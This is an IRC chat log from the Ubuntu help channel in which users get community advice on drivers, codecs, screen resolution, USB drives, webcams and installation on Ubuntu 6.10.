[11:21] <variant> xNinja: no
[11:21] <shafto> splashtk, Id recommend using http://www.albertomilone.com/driver.html
[11:21] <frafra> thanks
[11:21] <sacater> frafra: join #xubuntu they always know
[11:21] <variant> frafra: thinkpads are also excellent and reliable notebooks.. the t60p range is awesome
[11:21] <splashtk> shafto, k
[11:21] <axisme> frafra: https://wiki.ubuntu.com/HardwareSupportMachinesLaptops
[11:21] <shafto> splashtk, You on edgy?
[11:22] <frafra> thanks
[11:22] <splashtk> shafto, yeah. how do I install these lol
[11:22] <shafto> splashtk, you know how to add repos?
[11:23] <splashtk> shafto, no not really lol sorry
[11:23] <fasm_erx_CC2> ..
[11:23] <frafra> so, lenovo laptops are the best supported?
[11:23] <dystopianray> lenovo hate linux
[11:24] <frafra> so, what I should choose? hp?
[11:24] <splashtk> shafto, how do I do that?
[11:25] <splashtk> shafto, added the repo now what
[11:26] <shafto> http://www.albertomilone.com/instructions.html
[11:26] <axisme> frafra: dell are quite good
[11:26] <splashtk> shafto, k thanks :)
[11:26] <shafto> axisme, Yeah my dell likes linux, like the only thing it does like!! XD
[11:26] <shafto> splashtk, I was trying to remember how to pm over irc but i forgot :(
[11:27] <CommanderCool> are there special options if i am using the front jack for my microphone?
[11:27] <axisme> Hi all. I have a problem with viewing a set of CDs. The CDs run fine in windows. IN ubuntu it sees the label of the CD and it shows on desktop. When I open it though there is nothing there at all. I also can't view the files via terminal. I can't view in K3B either. But If i make a copy of the disc in K3B the copy then works on my windows computer. Anyone know why my ubuntu system can't view the CDs?
[11:27] <splashtk> lol
[11:27] <frafra> does exist a category of full working out-of-the-box laptop for ubuntu?
[11:27] <frafra> supported by canonical/community?
[11:27] <dystopianray> no
[11:28] <dystopianray> it wouldn't be economically feasible
[11:28] <CoRnJuLiOx> ok does anyone here use epsxe? i'm having mucho problems w/the padjoy plugin. i was actually able to get my controller to work by recompiling the kernel with a patched hid_core.c file, but now padjoy isn't reading the input properly. it doesn't want to map the right events to the buttons and its always saying that "so and so event (BOF14) is not available."
[11:28] <CoRnJuLiOx> any ideas?
[11:28] <PTiago> anyone here already configured a PDC server with LDAP backend ? i tryed dozens of tutorials and.. none of them worked :x
[11:28] <frafra> dystopianray: it would be usefull for all the people who whant to buy a pc and don't wont hardware procblems... like ati card etc.
[11:29] <marian>  hi all ... i have a question about my ati driver package ... maybe there is a problem with libarys .. can anyone help me?
[11:29] <marian>  dpkg: /usr/i486-linux-gnu/lib/libpthread.so.0 not found.
[11:29] <marian>  and some other files ... what is the reason ? I'm using ubuntu 6.10
[11:30] <splashtk> shafto, "sudo aptitude install  xorg-driver-fglrx" sound good? lol
[11:30] <dystopianray> who knows how I can get textured video working with the i810 driver?
[11:30] <mirra> this is unrelated..buy offhand do you guys know any good tech related affiliate programs besides textlinkads.com ?
[11:30] <shafto> splashtk, never done ati lol
[11:31] <splashtk> shafto, lol kk :)
[11:32] <Spliffster> hello, how do i disable the password prompt on resume (edgy/gnome) ?
[11:32] <marian> yes sounds good but the card sucks with 3d support
[11:33] <marian> I' read all the manual but nothing happents
[11:34] <Frogzoo> Spliffster: sys -> prefs -> power
[11:35] <mariusz> ubuntu
[11:35] <mariusz> we are ubuntu :)
[11:35] <mariusz> cya
[11:35] <Spliffster> Frogzoo: i was there, couldn't find anything concerning the password setting (lock screen) on suspend
[11:36] <tarelerulz> Do any of you know a good dvd ripping program ?
[11:37] <oren> hello
[11:37] <oren> is there anyone here? i am new..
[11:37] <mirra> this is unrelated..buy offhand do you guys know any good tech related affiliate programs besides textlinkads.com ?
[11:37] <Isanter> Shalom Oren.
[11:37] <mdtyke> Im running Kubuntu.  Kubuntu.  Notethe K.  Everytime I go into suspend/hibernate, my synaptics touchpad driver seems as if it doesn't load.. does anyone have any ideas how to fix it? It's really getting to me
[11:37] <rambo3> shalom
[11:37] <oren> shalom...
[11:37] <JonRob> tareleulz: dvdrip
[11:38] <oren> ma hamazav?
[11:38] <Isanter> beseder, beseder ;)
[11:38] <oren> i am really fresh in the Linux world.
[11:38] <Isanter> welcome :)
[11:38] <epi> Guys, if I install a 32bit ubuntu, will it come with CPU (amd) and GPU (nvidia) drivers pre-installed?
[11:38] <dystopianray>  how can I change what xv adapter is being used?
[11:38] <oren> want to convert all of my friends to Ubuntu..
[11:38] <dystopianray> epi: cpu drivers? :S
[11:38] <Frogzoo> oren: nope - noone here at all
[11:38] <tarelerulz> I got dvdrip and I can't seem to get all the parts to it plus it is so complex
[11:38] <epi> Im on 64bit ubuntu and its a nightmare.
[11:39] <Frogzoo> epi: sure
[11:39] <epi> In terms of compatibility.
[11:39] <deep> oren, :D
[11:39] <oren> it's really hard to follow conversations like this.
[11:39] <Frogzoo> epi: 64bit is best for server's
[11:39] <epi> Yah, im a desktop owner though.
[11:39] <dystopianray> so use 32-bit
[11:39] <epi> Ahu...but I have to go buy some CD-R's.
[11:40] <dystopianray> epi: nvidia driver comes by default, you need to install nvidia-glx manually though
[11:40] <deep> oren, as long as you use highlights is quite easy. :)
[11:40] <epi> Which is...tiring :P Id have to walk for 20 minutes!
[11:40] <oren> deep , can u elaborate?
[11:40] <epi> He has coloured conversations.
[11:40] <epi> Each user is assigned a differant colour.
[11:41] <cd> hrm
[11:41] <Spliffster> epi: if you do not have any special needs, use 32 bit version (at least of edgy) i am a long term linux user (12 years or so) and i can tell you that 64 bit (especially on the desktop) is still pretty ... well ... expreimental. you will get a slight performance drop with 32bit (3-5%) but with modern cpus you will not notice anything. only if you do excessive 3d redering or stuff like that (number chrunching)
[11:41] <assasukasse> hi all, is there any program for defragmenting reiserfs?
[11:41] <cd> why can't i see a user list in xchat, trying to pull the side out but its not working
[11:41] <deep> oren, if i write your nick, that line probably get highlighted, it gets a different color or something like that. Same for you. (:
[11:41] <explode> help me please !! My drive name changed automatically to "ssaggio rem"
[11:42] <malek> hi, can anyone help me using jackbeat?
[11:42] <oren> deep, i see your lines in red. what color do u see mine?
[11:42] <splashtk> Hey, can someone please help me installing the ATI drivers for edgy
[11:42] <tarelerulz> Do any of you rip your dvds?
[11:42] <epi> Aight, I was fighting with all the programs to get them to talk. The Flash not being 64bit was a real...ughh...I got arround it but theres always the codecs :|
[11:43] <McQueen> hi, how can i play wmv videos. i installed all plugins, i can play more formats, but i couldnt play wmv. how can i fix it?
[11:43] <Spliffster> splashtk: first of all, you should have boought an nVidia (they have better drivers). secondly .. .rty easyubuntu or automatix if you are on a 32bit system.
[11:43] <deep> oren, red (:
[11:43] <deep> oren, :D
[11:43] <tarelerulz> mplayer plays wmv
[11:43] <malek> McQueen: try mplayer at www.mplayerhq.hu
[11:43] <oren> deep: thanks! what chat client do u use?
[11:44] <Isanter> XChat
[11:44] <deep> oren, xchat :)
[11:44] <Spliffster> McQueen: sudo apt-get install -y mplayer
[11:44] <oren> deep: this is my first IRC chat ever.. i use t too. cool.
[11:44] <malek> McQueen: compile from source - do apt-get build-dep mplayer, then get the source from the website, and get the codecs package
[11:44] <Spliffster> argh ... gaim sure sucks as irc client :(
[11:44] <Isanter> but iam kind a annoyed.. how can i automatically run /msg nickserv identify ?
[11:44] <splashtk> Spliffster, easyubuntu?
[11:44] <tarelerulz> mplayer is the best for the most formats ,but I can say xine works as well too
[11:44] <deep> oren, nice :D welcome to the irc, then (:
[11:44] <Spliffster> splashtk: www.google.com/search?q=easyubunt
[11:45] <oren> deep: tomorrow i am buying a new laptop with a friend and we are going to install Ubuntu,
[11:45] <malek> McQueen: now that I think of it, VLC might work too.  I only really know mplayer though.  I know that works because I use it.
[11:45] <Spliffster> splashtk: it's a helper to install properetary drivers n stuff
[11:45] <oren> deep: how can i make sure BEFORE i buy it that it will work?
[11:45] <Isanter> burn a ubuntu cd
[11:45] <Isanter> its also a live cd
[11:45] <splashtk> Spliffster, you rock thanks heaps :)
[11:45] <oren> ok
[11:45] <Isanter> so you can try it in the store, if they let you
[11:45] <Spliffster> splashtk: not sure about that ... but i might once i had a coffee ... brb
[11:45] <oren> great!
[11:46] <Isanter> tell them, thats a live cd
[11:46] <McQueen> Spliffster: mplayer is already the newest version.
[11:46] <McQueen> 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
[11:46] <oren> i'll go to FRY's with a CD.
[11:46] <Isanter> so they wont be upset :)
[11:46] <deep> oren, hmm. Most hardware should work, though i know there is a hardware-list somewhere
[11:46] <deep> !hardware
[11:46] <ubotu> For lists of supported hardware on Ubuntu see https://wiki.ubuntu.com/HardwareSupport
[11:46] <deep> oren, there (:
[11:47] <splashtk> Spliffster, so this should let me pick different resolutions other than f0ing 800x600?
[11:47] <malek> McQueen: I tend to find that the ubuntu version of Mplayer can't do everything.  I always use the latest available verison from source.  I'm even using the SVN version now, but normally the latest version is fine.
[11:47] <Spliffster> McQueen: you might be missin the codecs. not sure what i did here on this edgy machine. try $ sudo apt-get install -y w32codecs
[11:47] <vimalg2> HI, anyone have experience with ubuntu on EPIA motherboards?
[11:47] <malek> McQueen: do what Spliffster says first!  Sounds easier.
[11:48] <Spliffster> McQueen: the codecs are not bound to a palyer ... many players can use it. my default is totem (the gnome default player) and my totem plays wmv up to version 9 or 10
[11:48] <mzuverink> oren, I always take a copy of knoppix with me when buying a new machine, to test the display model.  most places dont mind, but be aware, Best Buy gets seriously pissy about it
[11:48] <oren> deep: great. I have Fujitsu LifeBook P1510D, it's a tablet-pc,
[11:48] <axisme> Hi all. I have a problem with viewing a set of CDs. The CDs run fine in windows. IN ubuntu it sees the label of the CD and it shows on desktop. When I open it though there is nothing there at all. I also can't view the files via terminal. I can't view in K3B either. But If i make a copy of the disc in K3B the copy then works on my windows computer. Anyone know why my ubuntu system can't view the CDs?
[11:49] <Spliffster> McQueen you might also have a look in the ubuntu wiki ... i found nice instructions there how to do it (2-3 lines instructions) just search for wmv in the ubuntu wiki
[11:49] <McQueen> malek: i can only hear sounds
[11:49] <oren> deep: i hope that i will be able to use it as tablet...
[11:49] <McQueen> Spliffster: Reading package lists... Done
[11:49] <McQueen> Building dependency tree
[11:49] <McQueen> Reading state information... Done
[11:49] <McQueen> Package w32codecs is not available, but is referred to by another package.
[11:49] <McQueen> This may mean that the package is missing, has been obsoleted, or
[11:49] <McQueen> is only available from another source
[11:49] <McQueen> E: Package w32codecs has no installation candidate
[11:49] <deep> oren, /me dunno what tablet is ^^
[11:49] <deep> !paste | McQueen
[11:49] <ubotu> McQueen: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[11:50] <splashtk> How can I get a resolutions other than f-ing 800x600?
[11:50] <rambo3> !fixres | splashtk
[11:50] <ubotu> splashtk: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type  sudo /etc/init.d/?dm restart  in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[11:50] <Spliffster> axisme: after you insert the cd, open a terminal and enter "mount" ... check what filesystem the CD is mounted (or is it a dvd) sounds like mount uses the wrong filesystem
[11:50] <oren> deep: i can flip the screen and write on it with a plastic pen.
[11:50] <deep> oren, that's so cool O_O
[11:51] <fasm_erx_CC2> How do you know which subversion version you have installed?
[11:51] <McQueen> SpacePuppy: Reading package lists... Done
[11:51] <McQueen> Building dependency tree
[11:51] <McQueen> Reading state information... Done
[11:51] <McQueen> Package w32codecs is not available, but is referred to by another package.
[11:51] <McQueen> This may mean that the package is missing, has been obsoleted, or
[11:51] <McQueen> is only available from another source
[11:51] <McQueen> E: Package w32codecs has no installation candidate
[11:51] <oren> deep: what P2P app do u use?
[11:51] <mzuverink> splashtk, try sudo dpkg-reconfigure xserver-xorg, and when prompted choose your desired resolution
[11:51] <FearMoth> Hi, is there any way to copy the contents of the ubuntu-6.10-server-i386.iso to a usb thumbdrive and boot from that instead of a cd? does anyone have a link with a howto?
[11:51] <McQueen> i think i cant fix it :)
[11:52] <deep> oren, linuxdc++, deluge-torrent and frostwire :)
[11:52] <McQueen> its hard to be newbie
[11:52] <oren> deep: thanks! you saved me hours of search..
[11:52] <axisme> Spliffster: /dev/scd0 on /media/cdrom0 type iso9660 (ro,noexec,nosuid,nodev,user=vengeful)
[11:52] <variant> FearMoth: grub can't boot iso's, you can "install" to a usb key if it's big enough and if you bios supports usb boot then you can boot it
[11:52] <malek> McQueen: hmm, yeah, I seem to remember that happening to me too.  Solved the problem by compiling from source.  I've never found a pre-compiled mplayer to work quite right.  As for the w32codecs package make sure you have the multiverse package repository enabled.  Also do a search in synaptic for mplayer to see if there's another codecs package for it, or if the name is slightly different.
[11:52] <deep> oren, np :D
[11:53] <axisme> Spliffster : it is only this set of CDs i have problem with, others are fine.
[11:53] <malek> McQueen: but compiling from source is not that hard.  It's handy to learn as well.
[11:53] <deep> oren, http://linuxwacom.sourceforge.net/ <- tablet support ;)
[11:53] <mzuverink> FearMoth, I think that option is only avail with a live distro, and you actually boot off the cd but the thumb drive contains your configs and such.  casper-cow or something
[11:53] <FearMoth> variant: I know I can't boot the ISO, but if I mounted the iso and then copied the contents to the usb key, is there any way to make the usb key bootable so I can install from that?
[11:54] <McQueen> malek: ok so can you help me that what do i have to do first for fix this problem? so i am newbei
[11:54] <oren> deep: man. did i already  say thanks? (-:
[11:54] <dystopianray> FearMoth: why cna't you boot the iso?
[11:54] <splashtk> mzuverink, where it lets me choose the res's how do I select them?
[11:54] <malek> McQueen: as I said, open a terminal, type "sudo apt-get build-dep mplayer", then go to www.mplayerhq.hu, download the latest sources.
[11:54] <deep> oren, :D np, once again (:
[11:54] <FearMoth> mzuverink: my server pc doesn't have any cd drive though, that's why I need to boot from the usb thumbdrive
[11:54] <malek> McQueen: are you okay using the command line?
[11:55] <variant> FearMoth: does it support ntetwork booting?
[11:55] <oren> deep: my laptop does not have CD so i am going to buy external CD-ROM, it should be fine, right?
[11:55] <tmbg> how does one install the regular version of xchat & also tor? neither seem to be found in apt-get.
[11:55] <mzuverink> FearMoth, there is a debian installer that installs ubuntu from windows, a net install, they claim its a ubuntu derivitive
[11:55] <FearMoth> variant: yes
[11:55] <McQueen> malek: i am trying
[11:55] <epi> Think now im on Linux 64bit ill go surf some warez pages and say "loololol immune".
[11:55] <rambo3> !xchat edgy
[11:55] <ubotu> xchat: IRC client for X similar to AmIRC. In component universe, is optional. Version 2.6.6-0ubuntu3 (edgy), package size 275 kB, installed size 760 kB
[11:55] <variant> !install | FearMoth (this tells you how to install from network bootable image)
[11:55] <ubotu> FearMoth (this tells you how to install from network bootable image): Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall and https://wiki.ubuntu.com/DapperReleaseNotes/UbiquityKnownIssues - See also !automate
[11:56] <deep> oren, should be just fine (:
[11:56] <axisme> Spliffster : any ideas?
[11:56] <splashtk> :(
[11:56] <rambo3> tmbg, you need to add repos
[11:56] <cafuego_> epi:They'll be full of "CLICK HERE TO INSTALL PLUGIN" boxes.
[11:56] <deep> oren, never tried it, though.
[11:56] <McQueen> malek: sudo apt-get build-dep mplayer
[11:56] <McQueen> malek: E: Unable to find a source package for mplayer
[11:56] <epi> ahahahah
[11:56] <oren> deep : i need to set my bios to boot from the external cd, i guess.
[11:56] <Frogzoo> McQueen: enable universe
[11:56] <epi> Yes, but unfortunately true.
[11:56] <deep> oren, exactly (:
[11:56] <epi> (subtract the but)
[11:56] <McQueen> Frogzoo: how an where?
[11:56] <Fenrir> is anyone here from the UK?
[11:57] <FearMoth> variant: the server pc currently has linux on a seperate drive (ipcop firewall distro) .. can I use that to start the installer?
[11:57] <Frogzoo> !multiverse > McQueen
[11:57] <cafuego_> No, we have a strict door policy.
[11:57] <oren> deep: i was living under MS for too long...
[11:57] <mzuverink> splashtk, when you run that command you will be asked a bunch of q's, answer them by choosing the corect vid card and such and then when you get to the monitor phase it will ask you to check the res's you want
[11:57] <Frogzoo> !multiverse
[11:57] <ubotu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[11:57] <malek> McQueen: okay, you probably need to edit the /etc/apt/sources.list file
[11:57] <variant> FearMoth: should work if you can install the required software
[11:57] <deep> oren, getting rid of the MS touch is hard, at least it was for me. ;(
[11:58] <splashtk> mzuverink, yeah the ones I want are checked, but when I got to screen res selection in the system menu there is only 800x600 and 640x480
[11:58] <rambo3> McQueen, its much easyer in synaptic
[11:58] <oren> deep: does anyone knows of an app that replaces Microsoft OneNote?
[11:58] <deep> oren, first it was ubuntu a few weeks, then back to windows. Then ubuntu, then windows for a few months. Then.. you know. :P
[11:58] <mzuverink> splashtk, cant help with that wsorry
[11:58] <deep> oren, not really, but try searching ubuntuforums.org (:
[11:58] <splashtk> mzuverink, k thanks anyway
[11:58] <oren> deep: i tried. OneNote is really amazing app.
[11:59] <dystopianray> oren: what is onenote?
[11:59] <Dunkirk> Hrm.
[11:59] <deep> oren, http://ubuntuforums.org/showthread.php?t=93742
[11:59] <deep> oren,  :)
[11:59] <mzuverink> oren, try tomboy
[11:59] <michup_> hi, someone knows how to increase distance between me and cube in beryl while im rotating between desktops? i meand to increase zoom out while i pressed ctrl+alt+Lclick
[11:59] <oren> dystopianray: it's app
[11:59] <dystopianray> oren: obviously, but what does it do?
[11:59] <Frogzoo> !universe
[11:59] <ubotu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[11:59] <oren> dystopianray: it's app that u can draw and write, very fast.
[11:59] <variant> michup_: #ubuntu-effects
[11:59] <McQueen> malek: so i am swiching to root user. wait pls
[11:59] <dystopianray> oren: oh, for tablet computers?
[12:00] <michup_> i asked there
[12:00] <oren> sorry, i can't write so fast.
[12:00] <Spliffster> I need help. i am using beryl on my laptop on edgy/gnome. after resume (suspend to ram) i am asked the password, how can i disable this (which config files are used in bubuntu) ?
[12:00] <variant> michup_: so wy are you here?
[12:00] <oren> not neccesarily.
[12:00] <malek> McQueen: you shouldn't use root - just use sudo
[12:00] <michup_> "michup: by tilting your body back and forth perhaps"
[12:00] <oren> i use it to design GUI of apps.
[12:00] <epi> God..I forgot how easy to use these sites were...
[12:00] <McQueen> malek: on terminal?
[12:00] <michup_> that was my answer
[12:00] <oren> as a mock0up.
[12:00] <variant> michup_: haha, try asking again later or waiting pateintly for someone more sensible to answer you
[12:00] <oren> mock-up.
[12:00] <darkstar_> is there some kind of trick to getting my webcam to work in ubuntu?
[12:00] <deep> oren, there's is quite a few suggestion's on the link i gave you (:
[12:00] <malek> McQueen: yes
[12:00] <Frogzoo> McQueen: see the repo link from ubotu ^^
[12:01] <epi> They have helpfully divided a 10 gig download into 89 differant individual downloads.
[12:01] <oren> things are so fast here....
[12:01] <deep> darkstar_, what webcam are you using?
[12:01] <McQueen> ok
[12:01] <variant> darkstar_: you need an application that can use it obviously..
[12:01] <epi> So I get to DL each one by one.
[12:01] <variant> darkstar_: what do you want to do with it?
[12:01] <deep> oren, ya :P popular channel
[12:01] <rambo3> McQueen, use synaptic from system menu . 3 clicks and you are done
[12:01] <Spliffster> epi, try using "wget" to download them (assuming you can get em via http/ftp)
[12:02] <epi> Ahhh...this is new to me, they are http links so it may work. Ill mess about with that, terminal I assume?
[12:02] <McQueen> rambo: on this user i couldnt see synaptic. its on other user...
[12:02] <Serge_K> anyone having LTSP experience?
[12:02] <oren> i am going to see the links.
[12:02] <variant> epi: #ubuntu-offtopic
[12:02] <malek> McQueen: rambo3 is right - select synaptic from the System/Administration menu at the top fo the screen
[12:02] <variant> epi: you need a download manager anyway, or wget
[12:02] <McQueen> malek: on this user i couldnt see synaptic. its on other user...
[12:02] <peter77> when I plug in headphones the sound output doesn't stop from the speakers, instead it plays through both the headphones and speakers!
[12:02] <epi> Aight, ill check it out.
[12:02] <peter77> is there a way to get this to switch over automatically?
[12:03] <Spliffster> epi, $ sudo apt-get installl wget && wget -r http://server-name.tld/somedir/; will leech the whole directory. there is also gwget which is wget with a gnome user interface (so you do not need to use the commandline)
[12:03] <oguzhan> slk
[12:03] <oguzhan> slm
[12:03] <variant> epi: firefox has a "downthemall" extension too
[12:03] <oguzhan> fuck you
[12:03] <splashtk> man this sucks :( can't change my res and I have tried HEAPS of things :(
[12:03] <oguzhan> :(
[12:03] <malek> McQeen: okay, yeah, this will be a lot easier to do if you're on the primary user's account.  I thought you were as most people only have one account set up.
[12:03] <deep> splashtk, change xorg.conf, restart, done? (:
[12:03] <Spliffster> oguzhan, please act like a human. this is ubuntu: linux for human beaings not for ass***
[12:03] <splashtk> deep, how do I restart x?
[12:03] <darkstar_> variant, i'm using a built in webcam
[12:04] <McQueen> malek: so i will swich to primary user?
[12:04] <malek> yea
[12:04] <darkstar_> variant, want to use it for things like skype and gaim (if gaim can do video)
[12:04] <Spliffster> splashtk, $ sudo /etc/init.d/gdm restart
[12:04] <deep> splashtk, click ctrl + alt + backspace (: kills x instantly
[12:04] <McQueen> ok
[12:04] <Spliffster> splashtk, assuming you are using the default install
[12:04] <malek> McQueen: do that first.  I'll see you when you log back in...
[12:04] <peter77> has anyone else experienced this issue when using headphones?
[12:04] <deep> splashtk, splashtk that's also a way, yeah. :P
[12:04] <deep> oops
[12:04] <Spliffster> splashtk, or ctrl+alt+backspace ... but thats a bit harsh!
[12:04] <deep> splashtk, Spliffster *
[12:04] <deep> splashtk, but it's fast ;)
[12:05] <Spliffster> it will kill man
[12:05] <McQueen> malek: ?
[12:05] <malek> McQueen: yup
[12:05] <Spliffster> splashtk, that's not good for your gnome session
[12:05] <splashtk> so umm? which lol
[12:05] <McQueen> malek: McQueen: do that first.  I'll see you when you log back in...   (what can i do)
[12:05] <deep> Spliffster, why not? ;<
[12:05] <Smotang> spliffster what evil can that do to our gnome system?
[12:05] <deep> splashtk, take that sudo restart-thingie
[12:05] <Spliffster> splashtk, whatever you want. try the gracefull way first "sudo /etc/init.d/gdm restat"
[12:05] <malek> McQueen: okay, have you logged in as primary user?
[12:06] <axisme> Spliffster: that's weird, if i put another CD in I also cant view the contents but it autoplays(music files)    when i put an older cd in it shows me contents
[12:06] <deep> Spliffster, i've always used that ctrl+alt+backspace ;D hah
[12:06] <McQueen> nope... i am on secondry user... my battery will be empty.. i turn back 10 minutes later... sorry...
[12:06] <Spliffster> Smotang, well try it a few times. some settings are not written. some gnome programms write data back to the disk or release lock files when they get a SIG
[12:06] <darkstar_> does gaim support video?
[12:06] <deep> Spliffster, my xfce must hate me, then ^^
[12:07] <McQueen> malek: nope... i am on secondry user... my battery will be empty.. i turn back 10 minutes later... sorry...
[12:07] <Frogzoo> splashtk: ass*** are people too
[12:07] <Frogzoo> Spliffster: ass*** are people too
[12:07] <deep> Frogzoo ?
[12:07] <Spliffster> deep, well the documentation sais it pretty nice: it will KILL. never use kill -13 if its not really needed. kill -TERM should be sufficient
[12:07] <Grifer> hi! can I play flash/java in PPC Linuxes?
[12:08] <Spliffster> Frogzoo, right
[12:08] <rambo3> java is open source now so prolly
[12:08] <Frogzoo> deep: nvm
[12:08] <Spliffster> Frogzoo, at least some human body is attached to an ass****
[12:08] <malek> anyone know anything about jackbeat?
[12:08] <deep> Spliffster, aha (: ah, well, ill try making a button somewhere to restart x the good way, then (:
[12:09] <Spliffster> rambo3, java is opensource now _defenately_ just nt sure if it is already released under the gpl
[12:09] <Stormx2> Just converted my 12 year old brother to ubuntu haha.
[12:09] <Grifer> rambo3: what about Flash movies like in youtube. I'm pretty much addicted to that placve.
[12:09] <darkstar_> what's a good program to use with webcams?
[12:09] <deep> Grifer, ofc you can (:
[12:09] <Spliffster> Stormx2, well done *clap clap clap*
[12:09] <Grifer> I'm thinking about ditching OS X for a while from my iBook :D
[12:10] <Spliffster> darkstar_, you might try ekiga
[12:10] <Frogzoo> Spliffster: being an ass*** is a choice, and I support that
[12:10] <Grifer> deep: so Flash works in PPC Linux?
[12:10] <darkstar_> Spliffster, do you know if i have to install drivers or anything?
[12:10] <deep> Grifer, hmm, PPC?
[12:10] <Grifer> or do I need to tinker around like install i386 binaries?
[12:10] <rambo3> Grifer, there is a full section for ppc on ubuntuforums go read
[12:10] <Spliffster> Frogzoo, beeing an ass is a character weakness.
[12:11] <Spliffster> darkstar_, i don't have a webcam :( i can only say what many webcam users say :-/
[12:11] <deep> Grifer, aah, okay, i get it. Well. Then i really don't have an answer for you (:
[12:11] <darkstar_> Spliffster, oh, ok. well, do you know if gaim supports video?
[12:11] <Spliffster> darkstar_, regarding the drivers, i do not know, unfortunately
[12:11] <Grifer> hehe, as much as I love OS X it works too well. nothing to do to make it better.
[12:11] <Spliffster> darkstar_, gaim defenately does not
[12:12] <darkstar_> Spliffster, i see
[12:12] <rambo3> Grifer, https://wiki.ubuntu.com/PowerPCFAQ
[12:12] <darkstar_> Spliffster, sorry if i ask stupid questions... I'm trying to learn to use linux and decided the best way would be to use ubuntu full time
[12:13] <axisme> Hi all. I have a problem with viewing a set of CDs. The CDs run fine in windows. IN ubuntu it sees the label of the CD and it shows on desktop. When I open it though there is nothing there at all. I also can't view the files via terminal. I can't view in K3B either. But If i make a copy of the disc in K3B the copy then works on my windows computer. With some audio CDs i also cant view the contents but they autoplay and i can play the tracks etc. On older
[12:13] <axisme> CDs i can view the contents. Any idea what the problem is?
[12:13] <Spliffster> darkstar_, there are no stupid questions ... be back in 5 minutes
[12:13] <darkstar_> Spliffster, ok
[12:13] <Stormx2> darkstar_: amsn can do webcam/audio
[12:13] <kun> chanels
[12:14] <BrendanM> So for some reason, when I plug in my USB key now, it automounts as a read-only file system. How can I fix this?
[12:14] <BrendanM> It works fine in Windows, so it's not like there's a switch on the flash drive itself.
[12:14] <Frogzoo> BrendanM: ext3 file system on that?
[12:14] <Stormx2> BrendanM: What fs?
[12:14] <rambo3> fat?
[12:15] <darkstar_> Stormx2, is it an AIM application?
[12:15] <Stormx2> darkstar_: Ah, no.
[12:15] <BrendanM> No, it's a USB flash drive, so FAT32
[12:15] <Stormx2> darkstar_: Sorry.
[12:15] <Stormx2> BrendanM: Not necessarily...
[12:15] <rambo3> I have USB on ext3
[12:15] <reyn> resumable downloader ?
[12:15] <darkstar_> Stormx2, oh, you mean just a webcam app in general?
[12:15] <BrendanM> Stormx2, it works in Windows and Linux, so it's definitely FAT
[12:15] <Stormx2> darkstar_: Nah. amsn is just an msn client. Don't worry
[12:16] <Stormx2> BrendanM: Why? It might be ntfs
[12:16] <reyn> does wget resume downloads ?
[12:16] <Stormx2> yes
[12:16] <darkstar_> Stormx2, oh, ok
[12:16] <Stormx2> it does.
[12:16] <reyn> great, thanks
[12:16] <Frogzoo> reyn: yes, there's a flag to resume
[12:16] <reyn> oh
[12:16] <Frogzoo> reyn: -c
[12:16] <BrendanM> Stormx2, Linux doesn't write NTFS by default (right?), and this one definitely had write-access in Linux up until a couple days ago.
[12:17] <reyn> Frogzoo, thanks
[12:17] <Grifer> seems like I can't get flash to work in PPC platform. too bad. just wondering how the hell it works in Wii and PS3 then
[12:17] <Frogzoo> reyn: assuming your download was http1.1 in the first place
[12:17] <BrendanM> I tried running fsck, but that didn't seem to help
[12:17] <Spliffster> darkstar_, if you are serious about linux/unix i would recommend to buy a book about your favorite shell. that's bash on linux. O'Reilly has very nice books (http://www.ora.com). the shell is your door to the *NIX system. it is sooo powerfull and eneblas you to do things you were never able with windows (assuming you switched from windows)
[12:17] <eVILPeeR> Hey.
[12:18] <eVILPeeR> Question, in the terminal, how do you go back a folder?
[12:18] <rambo3> BrendanM, coan you check dmesg when you unplug/plug in USB
[12:18] <Spliffster> cd ..
[12:18] <mirra> cd ..
[12:18] <darkstar_> Spliffster, yeah, i've got a couple of O'Reilly books and Ubuntu Hacks, but they're all at home and I'm in Iraq at the moment =(
[12:18] <Frogzoo> eVILPeeR: cd ..
[12:18] <BrendanM> rambo3, will do. Hang on
[12:18] <Spliffster> darkstar_, are you a solder ?
[12:18] <darkstar_> Spliffster, yes
[12:18] <Adamantinus> Heya folks.
[12:19] <eVILPeeR> And uh.. how do you run a program?
[12:19] <Stormx2> BrendanM: Well, unless you've install ntfs-3g then it doesn't write ntfs by default.
[12:19] <Spliffster> darkstar_, i wish you all the luck .. i guess you'll need it. a friend of mine from the uk spent 3 years there ... he told me it's a pretty ... umm ... unsecure situation (sorry my bad english)
[12:19] <BrendanM> [17233851.824000]  FAT: Filesystem panic (dev sda1)
[12:19] <BrendanM> [17233851.824000]      fat_get_cluster: invalid cluster chain (i_pos 0)
[12:19] <BrendanM> [17234274.436000]  FAT: utf8 is not a recommended IO charset for FAT filesystems, filesystem will be case sensitive!
[12:19] <Adamantinus> Stormx2: Does ntfs-3g need any additional repositories added?
[12:19] <Stormx2> eVILPeeR: Check for it in the menus. If its not there, Alt+F2 and type its name. What program are you trying to run?
[12:19] <eVILPeeR> Stepmania
[12:20] <darkstar_> Spliffster, hhmm, I rank the ekiga setup and it says that it can't find my video input device. how can i activate my webcam?
[12:20] <eVILPeeR> It's in green when I type ls
[12:20] <Stormx2> Adamantinus: Have a look at the guide
[12:20] <darkstar_> Spliffster, yeah, this place sucks
[12:20] <Stormx2> !ntfs-3g
[12:20] <ubotu> ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but please remember to keep backups of critical data. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)
[12:20] <Adamantinus> Ah okay.
[12:20] <Grifer> weird.. I can't copy files from old NTFS file to ext3. gives i/o errors
[12:20] <Stormx2> Adamantinus: its pretty easy to install.
[12:20] <Adamantinus> Yeah, I figured it would be.
[12:20] <Spliffster> Adamantinus, AFAIK univers/multiverse is sufficient. i have not had to add anything for Edgy
